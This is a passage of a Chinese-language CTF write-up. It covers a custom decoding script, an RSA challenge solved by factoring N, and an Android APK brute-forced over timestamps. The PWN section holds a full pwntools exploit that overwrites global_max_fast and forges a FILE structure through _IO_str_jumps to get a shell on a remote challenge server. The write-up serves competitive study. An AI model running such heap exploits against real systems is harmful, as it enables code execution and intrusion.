tmp = []
for x in src:
if x == '=':
break
tmp.append(table.index(x))
def invshift(m, k, c):
revm = 0
if k < 0:
k = -k
cnt = 0
while cnt < 64:
hk = (revm << (64 - k)) & 0xffffffffffffffff
tmp = (hk & c) ^ m
revm = (revm << k) + (tmp >> (64 - k))
m = (m << k) & 0xffffffffffffffff
c = (c << k) & 0xffffffffffffffff
cnt += k
return revm >> (cnt - 64)
else:
cnt = 0
while cnt < 64:
lk = revm >> cnt
tmp = ((lk & c) ^ m) & ((1 << k) - 1)
revm = (tmp << (cnt + k)) + revm
m = m >> k
c = c >> k
cnt += k
return (revm >> k) & 0xffffffffffffffff
ans = ""
for x in tmp:
ans += bin(invshift(x, -3, 0x3f))[2:].rjust(6, '0')
flag = ""
for i in range(0, len(ans), 8):
flag += chr(int(ans[i:i+8], 2))
flag = 'e25' + res + flag
print(flag)
flag:e25be952-e74b-4649-bc0d-236342079a59
Crypto
babyrsa
看題目就是一個rsa加密,給了e、N、c求m。
如果N能分解的話就是一個RSA模板題了,用http://www.factordb.com/試試發現還真可以。
分解拿到p和q,用sage手擼一個解密演算法:
e = 2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814926418366905751689789699138123658292718951547073938244835923378103264574262319868072792187129755570696127796856136279813658923777933069924139862221947627969330450735758091555899551587605175567882253565613163972396640663959048311077691045791516671857020379334217141651855658795614761069687029140601439597978203375244243343052687488606544856116827681065414187957956049947143017305483200122033343857370223678236469887421261592930549136708160041001438350227594265714800753072939126464647703962260358930477570798420877
p = 98197216341757567488149177586991336976901080454854408243068885480633972200382596026756300968618883148721598031574296054706280190113587145906781375704611841087782526897314537785060868780928063942914187241017272444601926795083433477673935377466676026146695321415853502288291409333200661670651818749836420808033
q = 133639826298015917901017908376475546339925646165363264658181838203059432536492968144231040597990919971381628901127402671873954769629458944972912180415794436700950304720548263026421362847590283353425105178540468631051824814390421486132775876582962969734956410033443729557703719598998956317920674659744121941513
c = 1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047888761718878241924947937039103166564146378209168719163067531460700424309878383312837345239570897122826051628153030129647363574035072755426112229160684859510640271933580581310029921376842631120847546030843821787623965614564745724229763999106839802052036834811357341644073138100679508864747009014415530176077648226083725813290110828240582884113726976794751006967153951269748482024859714451264220728184903144004573228365893961477199925864862018084224563883101101842275596219857205470076943493098825250412323522013524
N = p*q
print(N == 13123058934861171416713230498081453101147538789122070079961388806126697916963123413431108069961369055630747412550900239402710827847917960870358653962948282381351741121884528399369764530446509936240262290248305226552117100584726616255292963971141510518678552679033220315246377746270515853987903184512948801397452104554589803725619076066339968999308910127885089547678968793196148780382182445270838659078189316664538631875879022325427220682805580410213245364855569367702919157881367085677283124732874621569379901272662162025780608669577546548333274766058755786449491277002349918598971841605936268030140638579388226573929)
phi = (p-1) * (q-1)
d = inverse_mod(e, phi)
print(pow(c, d, N))
然後丟進python裡long_to_bytes一下拿到flag:
flag:01d_Curs3_c4Me_Again
Accelerate your time
看到附件給了apk,啪的一下就點進來了,很快啊(x
是個kotlin寫的apk,以前沒逆什麼kotlin的經驗,一通瞎做搞出來的orz
直接用jeb看(類似於看平時apk的java層),翻包名看到flag,感覺是個重點包,定位到主行為函式
可以看到很明顯的check,是把當前的時間做了一個md5塞進大括號裡,再拼上使用者名稱和密碼,最後再做一個md5跟已知字串比較。這裡的md5取的是[8:24]↓
hour我直接大膽猜測是4,前面看到有特判
min和sec沒看到特判,但是60*60的空間完全可以爆破
username和password的xor聯絡在LoginDataSource裡,並且username == trandmark
安卓包的字串內容是寫在res/strings.xml裡面的,只要拿到name就可以拿到trandmark的內容:
使用者名稱是Android,密碼可以異或得到,md5的結果同樣在strings.xml中,須做id->name、name->content的對映
flag就可以出來了,爆破分秒寫exp:(其實感覺這題才應該叫TimeTravel才對= =只能在特定時間拿到flag嘛)
from hashlib import md5
#username^password
xorarr = [6, 28, 1, 19, 27, 5, 29]
username = "Android"
password = ""
for i in range(len(xorarr)):
password += chr(ord(username[i]) ^ xorarr[i])
hashstr_8_23 = "1a9852e856816224"
h = str(4)
for m in range(60):
for s in range(60):
flag = "flag{" + md5((h+str(m)+str(s)).encode()).hexdigest()[8:24] + "}" + username + password
if md5(flag.encode()).hexdigest()[8:24] == hashstr_8_23:
print(flag)
flag:80d0169d22da3c35
PWN
送分題
送分題真的是送分題啊,看到做題的人異常地多,於是去找原題,發現真的找到了wp
https://www.anquanke.com/post/id/258512(justpwnit),直接打wp的exp打通了(
from pwn import *
# from LibcSearcher import *
# context.log_level='debug'
# debug = 1
file_name = './pwn'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc_name = './libc-2.27.so'
ip = '1.13.162.249'
prot = '10001'
# if debug:
# r = process(file_name)
# libc = ELF(libc_name)
# else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
# def debug():
# gdb.attach(r)
# raw_input()
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru('Now you can get a big box, what size?')
sl(str(0x1430))
ru('Now you can get a bigger box, what size?')
sl(str(0x5000))
ru('Do you want to rename?(y/n)')
sl('y')
ru('Now your name is:')
main_arena = u64(r.recv(6) + '\x00\x00')
li("main_arena",main_arena)
libc_base = main_arena-0x3ebca0
system = libc_base+libc.symbols['system']
global_max_fast = libc_base+0x3ed940
IO_list_all = libc_base + libc.symbols['_IO_list_all']
IO_str_jumps = 0x3e8360 + libc_base
payload = p64(main_arena)+p64(global_max_fast-0x10)
binsh = 0x00000000001b40fa + libc_base
sl(payload)
# debug()
ru("Do you want to edit big box or bigger box?(1:big/2:bigger)\n")
sl("1")
ru(':\n')
fake_file = pack_file(_IO_read_base=IO_list_all-0x10,
_IO_write_base=0,
_IO_write_ptr=1,
_IO_buf_base=binsh,
_mode=0,)
fake_file += p64(IO_str_jumps-8)+p64(0)+p64(system)
sl(fake_file[0x10:])
ri()
flag:5hen_m3_5hi_kuai_1e_xin9_Qiu